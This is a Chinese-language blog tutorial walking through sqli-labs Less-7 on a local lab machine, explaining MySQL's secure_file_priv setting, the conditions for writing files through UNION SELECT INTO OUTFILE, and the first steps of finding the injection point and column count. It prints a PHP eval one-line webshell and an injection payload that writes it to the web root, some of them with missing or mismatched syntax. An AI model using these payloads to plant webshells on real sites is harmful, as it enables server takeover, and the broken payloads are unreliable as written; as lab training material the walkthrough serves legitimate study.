SQl注入文件上传及sqli-labs第七关less-7

news2024/12/26 13:45:22

Sql注入文件上传

1、sql知识基础

secure_file_priv 参数

secure_file_priv 为 NULL 时，表示限制mysqld不允许导入或导出。

secure_file_priv 为 /tmp 时，表示限制mysqld只能在/tmp目录中执行导入导出，其他目录不能导出导入。

secure_file_priv 没有值时，表示不限制mysqld在任意目录的导入导出。
可以使用下面语句查看该值：

show variables like ‘%secure%’;

在这里插入图片描述

secure_file_priv的值可以修改，在MySQL安装路径下的my.ini文件中

因为此次测试需要读写权限，我将其值修改为我的网站根目录。
在这里插入图片描述
修改之后记得重新启动MySQL服务
然后查询

2、文件上传语句及条件

into outfile 语句用于把表数据导出到一个文本文件中，要想mysql用户对文件进行导入导出，首先要看指定的权限目录。mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
在这里插入图片描述
在这个案例中可以把值修改为我们上传的语句，目录修改为我们知道的目标靶机的目录。

3、上传成功条件

1)要有file_priv权限

2)知道网站绝对路径（可以通过报错信息、phpinfo界面、404界面等一些方式知道）

3)要能用union

4)对web目录有写权限

5）select <?php @($\_POST['xx']);?> into outfile “绝对路径/文件名”

3、实验步骤

1）?id=xx union select 1,2,"<?php @($\_POST['xx']);?> into outfile “文件路径”–+

2）蚁剑、哥斯拉连接即可

4、一句话木马

<?php @eval($_POST['password']);?>

password是预留密码，可以自定义，在进行webshell后台登陆工具登录时使用

更多一句话木马了解可以参考一句话木马

5、靶场注入

在这里插入图片描述

5.1 确定注入点及闭合方式

http://192.168.140.130/sq/Less-7/?id=1
http://192.168.140.130/sq/Less-7/?id=2

我们发现页面回显一致，当我们加入单引号，页面报错，存在注入点，将单引号闭合，报错，闭合方式不是单引号，用" "，没有报错，但是使用1=1和1=2都没有报错，不是双引号报错，用')不对，多次尝试，最后发现使用'))闭合，注释掉不报错，且1=1正确页面，1=2报错
确定闭合方式为'))

5.2 确定列数

http://192.168.140.130/sq/Less-7/?id=1’)) order by 5 --+
http://192.168.140.130/sq/Less-7/?id=1’)) order by 4 --+
http://192.168.140.130/sq/Less-7/?id=1’)) order by 3 --+

order by 3 的时候正确，列数为三